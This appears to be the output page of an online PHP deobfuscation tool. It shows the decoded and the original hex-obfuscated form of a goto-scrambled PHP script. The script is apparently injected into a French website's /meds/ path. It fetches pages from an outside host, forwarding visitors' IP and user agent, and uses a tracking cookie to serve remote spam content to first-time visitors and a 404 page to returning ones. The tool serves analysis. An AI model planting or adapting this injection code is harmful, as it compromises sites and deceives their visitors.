Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GNXLM; CS24p: header("\x43\141\143\150\x65\x2d\103\157\x6e\164\162\x6f\154\72\..

Decoded Output download

<?php 
goto GNXLM; CS24p: header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); goto aGRe5; Pz4fp: if (preg_match("/centrelouisneel.fr\/meds\//i", $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"])) { goto ZMUtH; } goto SaWqC; krF9A: L4tKR: goto sBcDU; c2Avs: lp8sI: goto AmyT1; EMDSV: echo $domM7; goto yxoUO; SaWqC: return true; goto Gv4k6; Y6kI3: echo $domM7; goto Q8Lv1; aGRe5: header("Cache-Control: post-check=0, pre-check=0", false); goto nGhqz; AmyT1: function Z2CQZ() { goto VDAK7; kSI10: return urlencode(strtolower($SkTgl)); goto CbD3o; aaPPf: $SkTgl = ''; goto GCSfc; GCSfc: foreach ($tXLg3 as $RIzBY) { goto CKMJC; yFN0Y: if (!array_key_exists($RIzBY, $FcFYm)) { goto NEEfD; } goto W5RYw; totsQ: if (!empty($_SERVER[$RIzBY])) { goto LVoIs; } goto TPZw2; v4VvF: LVoIs: goto ZLASR; em2pZ: goto MyH2n; goto n9wKx; TPZw2: goto Fu6fa; goto v4VvF; Mr391: NEEfD: goto Ou5lK; Ou5lK: Fu6fa: goto E5azW; n9wKx: d3UpD: goto totsQ; CKMJC: if (empty($SkTgl)) { goto d3UpD; } goto em2pZ; ZLASR: $SkTgl = $_SERVER[$RIzBY]; goto yFN0Y; W5RYw: $SkTgl = $FcFYm[$RIzBY]($SkTgl); goto Mr391; E5azW: } goto mzhzF; B6o8U: $FcFYm = array("HTTP_X_FORWARDED_HOST" => function ($riqfH) { $eFd0W = explode(",", $riqfH); return trim(end($eFd0W)); }); goto aaPPf; mzhzF: MyH2n: goto IWiTs; IWiTs: $SkTgl = preg_replace("/:\d+$/", '', $SkTgl); goto KraKf; KraKf: $SkTgl = str_replace("www.", '', $SkTgl); goto kSI10; VDAK7: $tXLg3 = array("HTTP_X_FORWARDED_HOST", "HTTP_HOST", "SERVER_NAME", "SERVER_ADDR"); goto B6o8U; CbD3o: } goto Svqpq; GNXLM: ini_set("display_errors", 0); goto Pz4fp; xIa5Q: $NY3hZ = trim(strip_tags($_SERVER["REQUEST_URI"])); goto KnhKi; pUTlH: $PoUp0 = str_replace("www.", '', strtolower($_SERVER["HTTP_HOST"])); goto gl4st; nGhqz: header("Pragma: no-cache"); goto Y6kI3; Svqpq: function fhAFI($V_bM4) { goto ZcE9n; iKIfA: $gs9Jk = curl_init(); goto Wico7; ZcE9n: $BH08v = $_SERVER["REMOTE_ADDR"]; goto c_s2S; W8R9X: curl_setopt($gs9Jk, CURLOPT_HTTPHEADER, $AXuRj); goto kyaE7; S06wD: $zVx2D = curl_exec($gs9Jk); goto eBdS5; XgVSO: curl_setopt($gs9Jk, CURLOPT_CONNECTTIMEOUT, 8); goto zLSgg; fOYN1: curl_setopt($gs9Jk, CURLOPT_URL, $V_bM4); goto XgVSO; a3kRr: curl_setopt($gs9Jk, CURLOPT_RETURNTRANSFER, 1); goto fOYN1; klaqV: return $zVx2D; goto zP845; eBdS5: curl_close($gs9Jk); goto klaqV; kyaE7: curl_setopt($gs9Jk, CURLOPT_REFERER, !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "{$_SERVER["REQUEST_SCHEME"]}://{$_SERVER["HTTP_HOST"]}"); goto S06wD; ncRqJ: $AXuRj = array("Cache-Control: no-cache", "User-Agent: " . $eQ3OC, "X-Forwarded-For: " . $BH08v); goto iKIfA; c_s2S: $eQ3OC = $_SERVER["HTTP_USER_AGENT"]; goto ncRqJ; Wico7: curl_setopt($gs9Jk, CURLOPT_HEADER, 0); goto a3kRr; zLSgg: curl_setopt($gs9Jk, CURLOPT_FRESH_CONNECT, TRUE); goto W8R9X; zP845: } goto SIPAH; SIPAH: $V_bM4 = "http://ht.cdn-dash-network13.com/" . Z2cqz(); goto xIa5Q; KnhKi: $domM7 = fHAFI($V_bM4 . $NY3hZ); goto CS24p; yxoUO: exit; goto c2Avs; GutA7: goto lp8sI; goto krF9A; gl4st: if ($_COOKIE && $_COOKIE["engine_who_"] != "client") { goto L4tKR; } goto PGs5m; PGs5m: setcookie("engine_who_", "client", time() + 3600 * 24 * 100, "/", "." . $PoUp0); goto GutA7; Gv4k6: ZMUtH: goto pUTlH; sBcDU: $domM7 = file_get_contents("/var/www/vhosts/centrelouisneel.fr/error_docs/404.html"); goto EMDSV; Q8Lv1: exit; 
?>

Did this file decode correctly?

Original Code

<?php
goto GNXLM; CS24p: header("\x43\141\143\150\x65\x2d\103\157\x6e\164\162\x6f\154\72\x20\x6e\x6f\x2d\163\x74\x6f\162\x65\x2c\x20\x6e\157\55\143\x61\143\x68\x65\54\40\x6d\x75\163\164\x2d\162\x65\x76\x61\x6c\151\144\x61\164\x65\54\40\x6d\x61\170\x2d\141\x67\x65\x3d\60"); goto aGRe5; Pz4fp: if (preg_match("\x2f\143\x65\x6e\164\x72\x65\154\x6f\165\x69\x73\x6e\x65\145\x6c\56\146\162\134\57\155\x65\144\163\134\57\x2f\151", $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\124"] . $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\x55\x52\x49"])) { goto ZMUtH; } goto SaWqC; krF9A: L4tKR: goto sBcDU; c2Avs: lp8sI: goto AmyT1; EMDSV: echo $domM7; goto yxoUO; SaWqC: return true; goto Gv4k6; Y6kI3: echo $domM7; goto Q8Lv1; aGRe5: header("\103\x61\143\x68\145\55\103\x6f\156\x74\x72\x6f\x6c\x3a\x20\x70\x6f\163\x74\x2d\x63\x68\x65\143\153\x3d\x30\x2c\x20\x70\162\145\55\143\150\145\143\153\75\x30", false); goto nGhqz; AmyT1: function Z2CQZ() { goto VDAK7; kSI10: return urlencode(strtolower($SkTgl)); goto CbD3o; aaPPf: $SkTgl = ''; goto GCSfc; GCSfc: foreach ($tXLg3 as $RIzBY) { goto CKMJC; yFN0Y: if (!array_key_exists($RIzBY, $FcFYm)) { goto NEEfD; } goto W5RYw; totsQ: if (!empty($_SERVER[$RIzBY])) { goto LVoIs; } goto TPZw2; v4VvF: LVoIs: goto ZLASR; em2pZ: goto MyH2n; goto n9wKx; TPZw2: goto Fu6fa; goto v4VvF; Mr391: NEEfD: goto Ou5lK; Ou5lK: Fu6fa: goto E5azW; n9wKx: d3UpD: goto totsQ; CKMJC: if (empty($SkTgl)) { goto d3UpD; } goto em2pZ; ZLASR: $SkTgl = $_SERVER[$RIzBY]; goto yFN0Y; W5RYw: $SkTgl = $FcFYm[$RIzBY]($SkTgl); goto Mr391; E5azW: } goto mzhzF; B6o8U: $FcFYm = array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\x52\104\x45\x44\x5f\x48\117\x53\124" => function ($riqfH) { $eFd0W = explode("\54", $riqfH); return trim(end($eFd0W)); }); goto aaPPf; mzhzF: MyH2n: goto IWiTs; IWiTs: $SkTgl = preg_replace("\x2f\x3a\x5c\144\53\x24\57", '', $SkTgl); goto KraKf; KraKf: $SkTgl = str_replace("\167\x77\167\56", '', $SkTgl); goto kSI10; VDAK7: $tXLg3 = array("\110\x54\x54\120\x5f\x58\137\106\117\122\x57\x41\122\104\105\x44\x5f\x48\117\x53\x54", "\x48\x54\124\120\x5f\110\x4f\x53\x54", "\x53\105\x52\x56\105\122\137\116\x41\x4d\x45", "\x53\x45\122\x56\105\122\137\x41\x44\x44\122"); goto B6o8U; CbD3o: } goto Svqpq; GNXLM: ini_set("\144\151\x73\160\154\141\171\x5f\145\162\x72\x6f\x72\x73", 0); goto Pz4fp; xIa5Q: $NY3hZ = trim(strip_tags($_SERVER["\122\x45\x51\125\x45\123\x54\x5f\125\x52\111"])); goto KnhKi; pUTlH: $PoUp0 = str_replace("\167\x77\x77\x2e", '', strtolower($_SERVER["\x48\124\124\x50\137\110\117\x53\124"])); goto gl4st; nGhqz: header("\x50\x72\141\147\155\x61\72\40\x6e\x6f\x2d\143\141\143\x68\x65"); goto Y6kI3; Svqpq: function fhAFI($V_bM4) { goto ZcE9n; iKIfA: $gs9Jk = curl_init(); goto Wico7; ZcE9n: $BH08v = $_SERVER["\x52\105\115\117\124\105\x5f\x41\x44\104\x52"]; goto c_s2S; W8R9X: curl_setopt($gs9Jk, CURLOPT_HTTPHEADER, $AXuRj); goto kyaE7; S06wD: $zVx2D = curl_exec($gs9Jk); goto eBdS5; XgVSO: curl_setopt($gs9Jk, CURLOPT_CONNECTTIMEOUT, 8); goto zLSgg; fOYN1: curl_setopt($gs9Jk, CURLOPT_URL, $V_bM4); goto XgVSO; a3kRr: curl_setopt($gs9Jk, CURLOPT_RETURNTRANSFER, 1); goto fOYN1; klaqV: return $zVx2D; goto zP845; eBdS5: curl_close($gs9Jk); goto klaqV; kyaE7: curl_setopt($gs9Jk, CURLOPT_REFERER, !empty($_SERVER["\110\124\x54\120\137\122\x45\x46\105\x52\x45\122"]) ? $_SERVER["\110\124\x54\x50\x5f\x52\105\106\x45\122\105\122"] : "{$_SERVER["\122\105\121\125\x45\123\124\137\123\103\x48\105\115\x45"]}\72\57\57{$_SERVER["\110\x54\x54\120\x5f\x48\x4f\x53\124"]}"); goto S06wD; ncRqJ: $AXuRj = array("\x43\141\143\x68\145\55\103\157\156\x74\162\x6f\x6c\72\x20\x6e\157\x2d\x63\141\x63\x68\x65", "\x55\x73\x65\x72\55\101\147\x65\x6e\164\72\x20" . $eQ3OC, "\x58\x2d\x46\157\x72\x77\141\162\x64\x65\x64\55\106\x6f\162\x3a\x20" . $BH08v); goto iKIfA; c_s2S: $eQ3OC = $_SERVER["\x48\124\124\120\x5f\125\123\x45\122\x5f\101\107\105\x4e\124"]; goto ncRqJ; Wico7: curl_setopt($gs9Jk, CURLOPT_HEADER, 0); goto a3kRr; zLSgg: curl_setopt($gs9Jk, CURLOPT_FRESH_CONNECT, TRUE); goto W8R9X; zP845: } goto SIPAH; SIPAH: $V_bM4 = "\x68\x74\164\160\x3a\57\57\150\x74\56\x63\x64\x6e\55\x64\141\163\x68\x2d\156\145\164\x77\x6f\162\x6b\61\x33\x2e\143\x6f\155\57" . Z2cqz(); goto xIa5Q; KnhKi: $domM7 = fHAFI($V_bM4 . $NY3hZ); goto CS24p; yxoUO: exit; goto c2Avs; GutA7: goto lp8sI; goto krF9A; gl4st: if ($_COOKIE && $_COOKIE["\x65\156\x67\x69\156\145\137\167\150\157\137"] != "\143\x6c\x69\x65\x6e\164") { goto L4tKR; } goto PGs5m; PGs5m: setcookie("\145\156\x67\151\156\x65\137\x77\x68\x6f\x5f", "\x63\x6c\151\x65\x6e\164", time() + 3600 * 24 * 100, "\57", "\x2e" . $PoUp0); goto GutA7; Gv4k6: ZMUtH: goto pUTlH; sBcDU: $domM7 = file_get_contents("\x2f\x76\x61\162\57\x77\167\x77\x2f\x76\150\x6f\163\x74\x73\x2f\x63\x65\156\x74\x72\x65\x6c\x6f\165\x69\163\x6e\145\145\x6c\x2e\146\x72\57\x65\x72\162\157\162\137\144\x6f\x63\x73\x2f\64\x30\x34\x2e\x68\164\155\154"); goto EMDSV; Q8Lv1: exit;
?>

Function Calls

None

Variables

None

Stats

MD5 8c44ba0083ec4c5e269d573aa006e646
Eval Count 0
Decode Time 58 ms